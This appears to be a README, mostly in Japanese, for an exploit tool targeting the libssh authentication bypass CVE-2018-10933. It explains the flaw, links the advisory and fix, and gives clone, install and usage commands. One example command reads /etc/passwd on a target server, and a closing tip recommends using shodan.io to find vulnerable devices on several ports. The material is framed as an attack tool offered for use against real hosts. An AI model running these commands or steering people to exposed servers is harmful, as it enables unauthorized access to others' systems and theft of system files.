
libSSH-Authentication-Bypass
libssh のサーバーサイド状態機械において、バージョン 0.7.6 および 0.8.4 より前のバージョンに脆弱性が見つかりました。 悪意のあるクライアントが、認証を先に行わずにチャネルを作成でき、結果として不正アクセスが可能になります。
問題は、libssh が認証の状態を維持しない方法と、それによって認証がバイパスされる可能性に起因します。基本的に、接続は step1、step2、step3... という複数ステップのプロセスと考えてください。libssh はステップの順序を強制しないため、step1 と step2 を経ずに step3 に飛ぶことができます。
興味深いことに、同じ問題が以前に SSH ライブラリ Paramiko でも見つかっています: CVE-2018-7750。
Exploit-DB : https://www.exploit-db.com/exploits/45638
libSSH による CVE-2018-10933 の情報 : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
libSSH によるバグ修正リリース : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
sudo apt-get install python3
gh repo clone EmmanuelCruzL/CVE-2018-10933
pip3 install -r requirements.txt
python3 main.py
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host
Script for the vulnerabilities CVE-2018-10933
positional arguments:
host the ip or domain address of ssh server
options:
-h, --help show this help message and exit
-p PORT, --port PORT The port the service ssh, default [22]
-log, --logfile Logfile to write conn logs
-t, --test check the version of libSSH
-c COMMAND, --command COMMAND
command to execute
-i, --interactive open the interactive mode
python3 main.py 0.0.0.0 -port 22 -t

python3 main.py 0.0.0.0 -p 22 -c "cat /etc/passwd"

python3 main.py 0.0.0.0 -p 22 -l

[!] shodan.io を使用して脆弱なデバイスを見つけることができます
- ( 22 ポートがデフォルトですが、他のポート (2222, 3333, 4444 など) にも libSSH が含まれている可能性があります )
